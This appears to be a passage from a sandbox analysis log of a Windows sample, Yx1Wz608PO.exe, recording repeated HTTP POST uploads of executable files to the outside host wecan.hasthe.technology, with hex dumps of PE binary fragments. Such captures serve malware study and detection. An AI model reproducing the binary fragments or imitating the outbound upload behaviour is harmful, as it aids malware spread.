Oct 10, 2024 21:02:36.249896049 CEST	817	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:36 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:36 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bt9L1HE70T621R%2FcQ8EGxj7XyyIjMZRPn3qVjOoAjlaVPiF5xy0IDk5%2B8IzUMm4ZmKJm1iB4E4%2BsiBKHgmR9YfXFZs2Z36n1MMJJIYx%2BGd9EUf2F3uIynpOMb0%2BwL2uJu1iMLTRhH2DuLQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd9a788a42d3-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50505	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:36.440409899 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------0a0c92b3a13fa1ff
Oct 10, 2024 21:02:36.839011908 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:36.839989901 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 30 61 30 63 39 32 62 33 61 31 33 66 61 31 66 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------0a0c92b3a13fa1ffContent-Disposition: form-data; name="file[]"; filename="rifaien2-hjuuzUmtGWBSTnRJ.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:36.840101004 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:36.845169067 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:36.845226049 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:36.845254898 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:36.845320940 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:36.845412970 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:36.845446110 CEST	4944	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:36.845480919 CEST	4944	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:36.850744009 CEST	2472	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:37.143377066 CEST	811	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:37 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:37 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BDhfiN2nMLklVXJYR92l1W3Bc0aj7QqulhZRlBfcgzJT5xKWLReTZPfS%2BEXtFzlW8FQAVCKVVWg4xMqOGwi9N2FijEYqJ5Nbmqh45Q2fNku%2BCgrejE6zPJ4M53zE6LfsFohW7gbMYKd4LQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dda01b3e19cf-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50511	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:37.316191912 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------6d6a26ee1f55d493
Oct 10, 2024 21:02:37.739900112 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:37.740629911 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 64 36 61 32 36 65 65 31 66 35 35 64 34 39 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------6d6a26ee1f55d493Content-Disposition: form-data; name="file[]"; filename="rifaien2-FgpAC8WJsCEb80wY.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:37.740771055 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:37.745847940 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:37.745915890 CEST	4944	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:37.745950937 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:37.746018887 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:37.746057987 CEST	4944	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:37.746144056 CEST	4944	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:37.750919104 CEST	2472	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:37.750948906 CEST	2472	OUT	Data Raw: 85 6a fd 7f f8 f0 8b 95 e0 8a 8d d2 29 c3 29 c2 84 c9 74 20 83 bd 63 7f ec ff ab 08 75 17 85 d2 7f 17 8b 26 4b c6 00 30 48 89 0a eb f6 bf 3b fa 1f 85 d2 7e 1b 5b 11 8b b5 41 48 c6 06 30 4e 89 0a 0d 41 b3 3f 85 c0 7f eb 29 d3 3e 69 20 00 0e 7f f7 Data Ascii: j))t cu&K0H;~[AH0NA?)>i wt\GtKS%(6e%"XhKgN(Pj-'BRR+Ft PYd(Rw`0(n=?#LAtTX3s`x7V1IF%=[vuVn6
Oct 10, 2024 21:02:38.423084021 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:38 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:38 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x1%2B9Z94s984IdrBktse16eqFNu5A9tQ698ucVn%2F9swM9k4nKIu%2F21KSeYjlQu75Sfzscz88Cz%2BFcNu36FoNEopttOJB4kJwcdMa5zeVX7UoKIADPDUm9SY2v8UR1DUZF5Nh5RmbCfS2qaQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dda5af7180da-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Oct 10, 2024 21:02:38.425235987 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:38 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:38 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x1%2B9Z94s984IdrBktse16eqFNu5A9tQ698ucVn%2F9swM9k4nKIu%2F21KSeYjlQu75Sfzscz88Cz%2BFcNu36FoNEopttOJB4kJwcdMa5zeVX7UoKIADPDUm9SY2v8UR1DUZF5Nh5RmbCfS2qaQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dda5af7180da-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50517	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:38.619899988 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------baf8ca8c125bc2d7
Oct 10, 2024 21:02:39.077585936 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:39.277867079 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 62 61 66 38 63 61 38 63 31 32 35 62 63 32 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------baf8ca8c125bc2d7Content-Disposition: form-data; name="file[]"; filename="rifaien2-QmVIHCjf9VqYQ95N.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:39.278139114 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:39.283210039 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:39.283241987 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:39.283318043 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:39.283354044 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:39.283431053 CEST	4944	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:39.283519983 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:39.283576965 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:39.283607960 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:39.591444969 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:39 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:39 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FnrP8fC8OaaJVJ%2FIyBPkuNwwKfcW4Xpq1klTtfkY9%2Fehw6i0Cfvh01n11AOGei9jL%2F79fr4ynMIQ6dxR9FY6gLecmODtb1ZgCWx%2Fsp4Zbl0uqMmzKaxD2lHKDBNTYmwmcvHqHgrC14C1Ww%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08ddae0f530f53-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved 